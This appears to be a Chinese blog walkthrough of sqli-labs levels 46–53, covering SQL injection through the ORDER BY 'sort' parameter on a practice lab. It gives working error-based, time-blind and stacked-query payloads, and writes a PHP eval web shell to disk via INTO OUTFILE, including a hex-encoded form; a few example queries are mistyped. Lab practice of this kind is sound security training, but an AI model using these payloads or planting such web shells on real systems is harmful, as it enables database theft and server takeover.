zoukankan      html  css  js  c++  java
  • sqli-libs(46-53关)

    Less_46

    补充知识:MySQL知识

    SQL语句中,asc是指定列按升序排列,desc则是指定列 按降序排列;

    Select * from users order by 1 desc; 使用降序进行排列;

    Select * from users order by 1  asc; 使用升序进行排列;

    Right() select rightdatabase(),1)  从右往左数第一个数据库;

    Left()   select leftdatabase(),1)  从左往右数第一个数据库;

    less46没有使用包裹

    输入?id=1  得到下面,所以我们使用?sort=1  进行操作  其中1代表把第一列按从小到大进行排列

    修改为2,即为将第二列按从小到大进行排列;

     

     

     ?Sort=2 desc;  使用降序进行排列

     

                                

     ?Id=2 asc;    使用升序进行排列

     

    说明这里存在注入漏洞

     

    三种方法:

    1.报错注入

    2.时间盲注

    3.一句话木马

    方法一:报错注入

     输入:?sort=3 and  updatexml( 1, concat( 0x7e, (database())), 1) --+ 得到当前数据库;

     

     输入:?sort=3 and  updatexml( 1, concat( 0x7e, (select schema_name from information_schema.schemata limit 0,1), 1) ,1)--+ 得到第一个数据库名字;

     

    方法二: 时间盲注

     输入:?sort=3 and if(length(database()=1),1,sleep(5))--+

     

     输入:?sort=3 and if(left((select schema_name from information_schema.schemata limit 0,1),1)>'s',1,sleep(5))--+

     

    方法三:一句话木马

     输入 ?sort=3  and (select '<?php @eval($_POST[gxy]);?>') into outfile 'C:\phpStudy\WWW\c.php '--+ 

     

     

     

     我们并没有把一句话木马写进去,所以我们采取  lines  terminated by 0x 十六进制进行注入

    输入 ?sort=3   into outfile "C:\phpStudy\WWW\c.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b27677879275d293b203f3e  --+

     

     

    Less_47

    Less47使用’’包裹  其他与第46基本一致

     

       

    Less_48

    Less48:  无包裹  不返回报错信息  不能使用报错注入,其他操作与第46基本一致

     

     

     

    Less_49

    Less49:  使用“”包裹  不返回报错信息  不能使用报错注入,其他操作与第46基本

     

     

    Less_50

    Less50无包裹

     

    第50与第46关不同的是 使用了mysqli_multi_query函数

     mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。

     

     所以我们可以用堆叠注入的方法

    种方法:

    1.时间的盲注

    2.报错注入

    3.写一句话木马

    4.使用堆叠注入创建删除一个表

    5.使用堆叠 注入写一句话木马

    方法一:时间盲注

    ?sort=1 and if(length(database()>1),1,sleep(5)) --+

     

    方法二:报错盲注

    ?sort=1 and updatexml(1,concat(0x7e,(database())),1)--+

     

    方法三:写一句话木马

    输入:?sort=1  and (select '<?php @eval($_POST[ztt]);?>') into outfile 'C:\phpStudy\WWW\a.php '--+

     

     

    发现一句话木马并没有,输入:?sort=1   into outfile "C:\phpStudy\WWW\a.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b27677879275d293b203f3e  --+

     

     

    方法四:使用堆叠注入创建一个表

    ?sort=3;create table ztt50 like users;insert into ztt50 select * from users;--+

     

     

     

    Less_51

    Less-51:  使用’’包裹  其他操作与第50基本一致

     

    种方法:

    1.时间的盲注

    2.报错注入

    3.写一句话木马

    4.使用堆叠注入创建删除一个表

    5.使用堆叠 注入写一句话木马

       

    Less_52

    Less-52:  无包裹  回显不显示错误  不能使用报错注入则其他方法与第50基本一致

     

     四种方法:

    1.时间的盲注

    2.写一句话木马

    3.使用堆叠注入创建删除一个表

    4.使用堆叠 注入写一句话木马

    Less_53

    Less-53:使用’’包裹  不回显错误  不能使用报错注入   其他方法与第50基本一致

     

    种方法:

    1.时间的盲注

    2.写一句话木马

    3.使用堆叠注入创建删除一个表

    4.使用堆叠 注入写一句话木马

     

     

  • 相关阅读:
    UIWindow与UIView
    UIView与CALayer 区别
    setter getter 方法
    KVC、KVO 理解
    c语言实现单链表
    浅谈C的应用与常见error
    POJ 3683 Priest John's Busiest Day(2-SAT+方案输出)
    Google Code Jam 2008 Round 1A C Numbers(矩阵快速幂+化简方程,好题)
    POJ 3686 The Windy's(思维+费用流好题)
    POJ 2686 Traveling by Stagecoach(状压二维SPFA)
  • 原文地址:https://www.cnblogs.com/199904-04/p/12296605.html
Copyright © 2011-2022 走看看